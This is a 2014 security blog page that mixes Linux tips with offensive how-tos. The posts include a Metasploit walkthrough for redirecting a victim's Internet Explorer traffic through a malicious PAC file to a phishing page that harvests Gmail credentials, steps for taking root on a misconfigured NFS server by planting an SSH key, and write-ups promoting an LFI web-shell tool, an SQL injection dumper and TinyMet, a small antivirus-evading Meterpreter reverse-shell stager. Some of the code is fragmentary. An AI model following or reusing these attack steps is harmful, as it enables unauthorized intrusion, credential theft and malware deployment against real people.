May 24, 2014

Videos: JailbreakCon


If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Tools: Linux performance tools map

Stunning Linux performance tools map by . More info and links are here(




If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

May 22, 2014

Howto: Post Exploitation with control traffic of IE with Proxy PAC file

If you want to whole story and detail, please visit the Source.

1. Create PAC File
function FindProxyForURL(url, host)
    if (shExpMatch(host, "")) { 
         return "PROXY; DIRECT";
    if (shExpMatch(host, "")) { 
         return "PROXY; DIRECT";
    if (url.substring(0, 6) == "https:") {
         return "DIRECT";
2. Exploit host and using post/windows/manage/ie_proxypac module
> background
> use post/windows/manage/ie_proxypac
3.  Set which session will you use?
> set session 1
4. set pac file that was create in Step#1
> set local_pac /var/www/file.pac
5. Exploit it
> exploit
6. Interactive with session
> sessions -i 1
7. Try to get proxy setting with getproxy
> getproxy
8. Create phishing site with
- wget -q
- Edit index.html
  point to a local html resource (auth.html) instead of "".
- Edit auth.html
     <meta http-equiv="refresh" content="0;URL=" />

If the user types now he will access to our fake site and after sending the credential to us he will be redirected to the original Gmail authentication page. To save the credentials you can simply setup Tshark or Tcpdump to record the HTTP traffic in a pcap file. Remember that you also have the post module inject_ca to insert an arbitrary CA certificate into the victim's Trusted Root store; this can be helpful to make a more sophisticated phishing attack.

If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Howto: 13 Lines for building simple web server with PowerShell

$Hso = New-Object Net.HttpListener
While ($Hso.IsListening) {
$HC = $Hso.GetContext()
$HRes = $HC.Response
$Buf = [Text.Encoding]::UTF8.GetBytes((GC (Join-Path $Pwd ($HC.Request).RawUrl)))
$HRes.ContentLength64 = $Buf.Length

If you like my blog, Please Donate Me

Or Click The Banner For Support Me.

May 21, 2014

Tools: Liffy - LFI Python Tool

Liffy is a tool written in Python designed to exploit local file inclusion vulnerabilities using three different techniques that will get you a working web shell. The first two make use of the built-in PHP wrappers php://input and data://. The third makes use of the process control extension called 'expect'.


If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

May 20, 2014

Tools: Simple SQLi Dumper v5.1

 [o] attention

SSDp coded by Vrs-hCk ( ander[at]antisecurity[dot]org )
SSDp How To by NoGe ( mario[at]antisecurity[dot]org )

[o] what is SSDp?

SSDp is an usefull penetration tool to find bugs, errors or vulnerabilities in MySQL database.

[o] download SSDp v5.1


If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Howto: Exploit misconfigured NFS Server

How to exploit misconfigured NFS Server
1. NMap Scan
2. Get info of NFS Service with
- rpcinfo -p target_IP
(Looking for nfs, it's mean u can mount it.)
3. Show available mount path
- showmount -e target_ip
4. Create directory and mount it with nfs type.
mount -t nfs target_ip:/ /tmp/mountpoint

5. Create your public key to addin to /root/.ssh/authorized_keys
cat .ssh/ >> /tmp/mountpoint/root.ssh/authorized_keys

6. Ssh to target_Ip

7. Have a nice hack

*** If you have configure for mounting with username and password, you will not hacked.



If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Howto: Linux cheats wallpaper generator [PYTHON] By

This is a “CAWG” Cheats administrators wallpaper generator. Cawg  is simple script in python for generate cheats Wallpaper witch command and tips . CAWG read data form txt file .

#        Jacek Zaleski               #
#            CAWG                    #
#            V0.2.2                  #
import PIL
from PIL import ImageFont
from PIL import Image
from PIL import ImageDraw
import fileinput
import textwrap
import pygame

def pointstopixel(punkty):
    return pixel
def wieksza(a ,b):
    if a>=b:
    return a
screen_info = pygame.display.Info() #Required to set a good resolution for the game screen
HROZMIAR,VROZMIAR = screen_info.current_w,screen_info.current_h

font1 = ImageFont.truetype("/usr/share/fonts/truetype/ttf-dejavu/DejaVuSerif.ttf",FONTSIZE,encoding='unic')
font2 = ImageFont.truetype("/usr/share/fonts/truetype/ttf-dejavu/DejaVuSans-Bold.ttf",FONTSIZE2,encoding='unic')"RGBA", (HROZMIAR,VROZMIAR),(0,0,0))
draw = ImageDraw.Draw(img)
y_text = 45
width = 5
f = open('dane.txt','r')

for text in iter(f):
    lines = textwrap.wrap(text, KOLUMNA)
    if width < HROZMIAR:
        if pointstopixel(y_text+25)>VROZMIAR:
            width += pointstopixel(maxw)+10
        if text[0]=='#': 
        for line in lines:
            if semf>0:
                line="           "+line
            widthtt, height = font.getsize(line)
            semf +=1      
            draw.text((width, y_text), line, font = font, fill = (255,255,255))
            y_text += height
        print 'niediala'
width7, height7 = font.getsize(stopka)
draw.text((HROZMIAR-width7,VROZMIAR-height7),stopka , font = font1, fill = (255,255,255))
draw = ImageDraw.Draw(img)
#print pygame.display.Info
Example data files dane.txt :
ls - directory listing
ls -al formated listing witch formated files

ssh user@host - connect to host
ssh u@h -L LOCAL_PORT:ip:PORT tuneling ip to port

make install

dpkg -i .....
apt-get install ...
rpm -Uvh pkg.rpm

dig domain -get dns domain
dif -x -reverse lookup

ethtool eth0 - Show status interface eth0
ethtool --change eth0 autoneg off speed 100 duplex full -Manually set ethernet interface speed
iwconfig eth1 Show status of wireless interface eth1
iwconfig eth1 rate 1Mb/s fixed Manually set wireless interface speed
iwlist scan List wireless networks in range
ip link show List network interfaces
ip link set dev eth0 name wan Rename interface eth0 to wan
ip link set dev eth0 up Bring interface eth0 up (or down)
ip addr show List addresses for interfaces
ip addr add brd + dev eth0 Add (or del) ip and mask
ip route show List routing table
ip route add default via Set default gateway to
host Lookup DNS ip address for name or vice versa
hostname -i Lookup local ip address (equivalent to host `hostname`)
whois Lookup whois info for hostname or ip address
netstat -tupl List internet services on a system
netstat -tup List active connections to/from system

tar cf file.tar files -create a tar
tar xf file.tar -extracting files
tar czf file.tar.gz files -ceate tar.gz
tar xzf file.tar.gz -extract

ssh -f -Y $USER@$HOSTNAME xeyes -Run GUI command on $HOSTNAME as $USER
scp -p -r $USER@$HOST: file dir/ -Copy with permissions to $USER's home directory on $HOST
scp -c arcfour $USER@$LANHOST: bigfile -Use faster crypto for local LAN. This might saturate GigE
ssh -g -L 8080:localhost:80 root@$HOST -Forward connections to $HOSTNAME:8080 out to $HOST:80
ssh -R 1434:imap:143 root@$HOST -Forward connections from $HOST:1434 in to imap:143
ssh-copy-id $USER@$HOST Install -public key for $USER@$HOST for password-less log in

(cd dir/ && wget -nd -pHEKk Store local browsable version of a page to the current dir
wget -c -Continue downloading a partially downloaded file
wget -r -nd -np -l1 -A '*.jpg' -Download a set of files to the current directory
wget ftp://remote/file[1-9].iso/ -FTP supports globbing directly
wget -q -O- | grep 'a href' | head -Process output directly
echo 'wget url' | at 01:00 -Download url at 1AM to current dir
wget --limit-rate=20k url -Do a low priority download (limit to 20KB/s in this case)
wget -nv --spider --force-html -i bookmarks.html Check links in a file
wget --mirror Efficiently update a local copy

ls -lSr Show files by size, biggest last
du -s * | sort -k1,1rn | head Show top disk users in current dir. See also dutop
du -hs /home/* | sort -k1,1h Sort paths by easy to interpret disk usage
df -h Show free space on mounted filesystems
df -i Show free inodes on mounted filesystems
fdisk -l Show disks partitions sizes and types (run as root)
rpm -q -a --qf '%10{SIZE}\t%{NAME}\n' | sort -k1,1n List all packages by installed size (Bytes) on rpm distros
dpkg-query -W -f='${Installed-Size;10}\t${Package}\n' | sort -k1,1n List all packages by installed size (KBytes) on deb distros
dd bs=1 seek=2TB if=/dev/null of=ext3.test Create a large test file (taking no space). See also truncate
> file truncate data of file or create an empty file

smbtree Find windows machines. See also findsmb
nmblookup -A Find the windows (netbios) name associated with ip address
smbclient -L windows_box List shares on windows machine or samba server
mount -t smbfs -o fmask=666,guest //windows_box/share /mnt/share Mount a windows share
echo 'message' | smbclient -M windows_box Send popup to windows machine /dev/null Summarise/profile system calls made by command
 strace -f -e open ls >/dev/null List system calls made by command
 strace -f -e trace=write -e write=1,2 ls >/dev/null Monitor what's written to stdout and stderr
 ltrace -f -e getenv ls >/dev/null List library calls made by command
 lsof -p $$ List paths that process id has open
 lsof ~ List processes that have specified path open
 tcpdump not port 22 Show network traffic except ssh. See also tcpdump_not_me
 ps -e -o pid,args --forest List processes in a hierarchy
 ps -e -o pcpu,cpu,nice,state,cputime,args --sort pcpu | sed '/^ 0.0 /d' List processes by % cpu usage
 ps -e -orss=,args= | sort -b -k1,1n | pr -TW$COLUMNS List processes by mem (KB) usage.
 ps -C firefox-bin -L -o pid,tid,pcpu,state List all threads for a particular process
 ps -p 1,$$ -o etime= List elapsed wall time for particular process IDs
 last reboot Show system reboot history
 free -m Show amount of (remaining) RAM (-m displays in MB)
 watch -n.1 'cat /proc/interrupts' Watch changeable data continuously
 udevadm monitor Monitor udev events to help configure rules

echo '(1 + sqrt(5))/2' | bc -l Quick math (Calculate φ). See also bc
seq -f '4/%g' 1 2 99999 | paste -sd-+ | bc -l Calculate π the unix way
echo 'pad=20; min=64; (100*10^6)/((pad+min)*8)' | bc More complex (int) e.g. This shows max FastE packet rate
echo 'pad=20; min=64; print (100E6)/((pad+min)*8)' | python Python handles scientific notation
echo 'pad=20; plot [64:1518] (100*10**6)/((pad+x)*8)' | gnuplot -persist -Plot FastE packet rate vs packet size
echo 'obase=16; ibase=10; 64206' | bc Base conversion (decimal to hexadecimal)
echo $((0x2dec)) Base conversion (hex to dec) ((shell arithmetic expansion))
units -t '100m/9.58s' 'miles/hour' Unit conversion (metric to imperial)
units -t '500GB' 'GiB' Unit conversion (SI to IEC prefixes)
units -t '1 googol' Definition lookup
seq 100 | (tr '\n' +; echo 0) | bc -Add a column of numbers. See also add and funcpy
rsync -P rsync:// file Only get diffs. Do multiple times for troublesome downloads
 rsync --bwlimit=1000 fromfile tofile Locally copy with rate limit. It's like nice for I/O
 rsync -az -e ssh --delete ~/public_html/'~/public_html' Mirror web site (using compression and encryption)
 rsync -auz -e ssh remote:/dir/ . && rsync -auz -e ssh . remote:/dir/ Synchronize current directory with remote one 

If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Howto: Disable DNSMasq to /etc/resolv.conf in Ubuntu 12.04

1. Open file /etc/NetworkManager/NetworkManager.conf

2. Comment
3. Save and exit
4. Restart NetworkManager
~# sudo restart network-manager


If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Howto: Check your Public IP Address with command line

Using command
~# curl
~# curl | awk -F: '{ print $2 }' | cut -d'<' -f 1
~# curl | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' 
~# curl

If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Videos: iOS 7.1.1 Jailbreak

If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

May 19, 2014

Tool: TinyMet - Tiny Meterpreter size "4k"

Evading antivirus remains a challenge for those who are trying to use msfpayload/msfvenom to create their stand-alone “exe” payloads, and no matter how hard one tries to achieve that using whatever is already in the framework, or tools written by others, results are largely unreliable.
I guess another way to approach the problem would be : 1) understand how the framework works, 2) write your own stager/payload.


  • Meterpreter by design is a “staged” payload, it consists of a “stager” and a “stage”; when msfpayload|msfvenom are used to create an exe, that’s the “stager” part of meterpreter, which when executed, gets the larger “stage” from the exploit/multi/handler, and does the necessary to have it executed.
  • Stand-alone meterpreter executables that are created using (msfpayload/msfvenom) are not flexible in selecting the transport,  LHOST or LPORT after being created … i.e. once you create the exe, you cannot change any of the settings you specified during the creation of the executable.

What is TinyMet?

  • TinyMet is a small “4 kilobytes” flexible meterpreter stager.
  • It takes LPORT, LHOST, TRANSPORT as command line arguments.
  • It lacks most of the features of ultimet … but it is a lot smaller, and code is a whole lot easier to understand and re-use “main purpose of project”.

Available transports:

  • reverse_tcp
  • reverse_http
  • reverse_https
  • bind_tcp

Compiling from source


tinymet.exe [transport] LHOST LPORT
Available transports are as follows:
 0: reverse_tcp
 1: reverse_http
 2: reverse_https
 3: bind_tcp


tinymet.exe 2 443
Will use reverse_https and connect to
tinymet.exe 3 4444
Will use bind_tcp to listen on all interfaces on port 4444

Why are you not using argc and *argv[] to parse the command line?!

  • To bring size down, I removed all default libraries.
  • Downside is: default libraries are the ones who populate argc and argv :), that’s why I used that other way.

If you like my blog, Please Donate Me
Or Click The Banner For Support Me.